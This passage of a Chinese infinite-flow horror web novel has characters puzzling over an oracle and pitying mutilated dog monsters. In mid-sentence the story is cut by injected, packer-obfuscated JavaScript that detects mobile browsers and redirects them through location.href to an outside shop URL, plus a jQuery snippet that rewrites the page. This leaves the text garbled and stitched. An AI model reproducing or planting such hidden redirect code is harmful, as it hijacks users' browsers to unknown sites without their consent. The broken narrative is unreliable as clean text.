所以他们白天才猜不到“归人”是谁,因为根本就没有这个人,只是一群小狗而已。 然而。 林敛神色凝重。 无论是从覃平几人的描述,还是从外面狗群对香烛的恐惧,所有信息都指向一个终点,那就是在副本世界中,神是凌驾于一切之上的,可以说神的存在本身就是规则。 但是神谕的内容和隐藏信息都未曾修改。除非他们拿到的线索已经不是最初版本,不然只有一种可能,那就是即使副本内容已经被改变,但是各项信息依旧适用。 而这一改变,各项信息蕴含的内容自然也发生了翻天覆地的变化。 本应是狗群的“归人”,也很有可能真的代指着某个具体的人。 想到某个从头至今都很神秘的男人。 林敛喃喃道。 会是他吗。 景年终究还是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484780|201939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去杀那群怪物。 无他。 看起来太可怜了。 他之前遇到的副本怪物,个个张牙舞爪,各种欺压进入副本的人,在他们自己的副本叙事中也并不是什么善良的存在,换言之没一个好东西。 这样的怪物杀起来毫无负担,甚至算是为民除害,死了就死了。 但是这个副本不同。 甚至说很奇怪,第一次遇到为了杀人先把自己搞得这么惨的怪物。 让人杀起来都没有杀怪的爽感,虽然它们也想杀自己,但是这样一群可怜兮兮的小狗,再凶残能凶残到哪去,杀起来总感觉在欺负弱小。 他们外表确实很吓人,是因为他们拥有狗的行为和外表,但四肢和皮肉都不在它们原本该在的地方,超出了人类习惯的对狗认知的边界。 人的精神会自动认为它们像狗但细节不太对,有一种强烈的违和感,简言之就是犯了恐怖谷效应,所以让人觉得毛骨悚然,因此对玩家的精神干扰很高,san值狂掉。 在副本世界中,视觉上的冲击也是一种攻击方式,所以精神上产生恐惧等情绪时他们的精神状态也在同步下跌,精神状态会严重影响他们实际战斗时的状态。 但是得益于他们有林敛那个bug般的道具的存在,这群狗的外表对他们精神的干扰微乎其微,所以更能注意到其他细节。 没有精神干扰之后,再注意到它们身上的伤口,就只剩下怜悯,更谈何杀穿它们了。 怜悯。想到这个词时,景年有些想笑。 他竟然有一天也会对副本怪物产生什么怜悯的情绪。 之前过副本时,遇到过对副本中哭哭啼啼说自己被逼嫁人的新娘同情心大起的人,非要晚上跑去人家的婚房保护新娘,其他人怎么劝都不听,认为她就是一个可怜的弱女子。结果可想而知,第二天见到人时,只剩一具躯体,找遍整个婚房都没找到脑袋的半点痕迹。 景年白天清完怪回去休息时偶然听了一耳朵,当场就被世间竟有如此蠢货的行为震碎了一地脑仁。 他不相信真的有人会对副本里这些装模作样的怪物生出除了厌恶外的其他感情,那个人显然也不是什么真感情,只不过是见色起意,最终反噬自身。 但是既然他们要自取灭亡也不关他什么事。 然而如今面对这群也想杀了他们的怪物,近距离仔细看到他们的样子后,他却也生出了一丝不忍。 更何况也没什么需要他发挥的地方,那群新人一个个激动的不行,他都没来得及出手,上前的狗已经全被他们扔柴火砸远。 后面林敛神来一手,让那群狗连靠近屋门都不敢,他就更没了用武之地。 往事不提也罢。 其实看到这些,景年心中也隐隐猜到了什么,但是一开始认真想这些事情,他沉寂一天多的头痛又有卷土重来的趋势。 他在这个副本里能保持平和,甚至还有心情怜悯什么怪物,全都归咎于在林敛道具的作用下他的头不痛,头痛的时候他的脑子里只有烦躁和杀戮。 头一痛,他想什么的心情都消失殆尽。 这些事还是让那个聪明的家伙烦心去吧。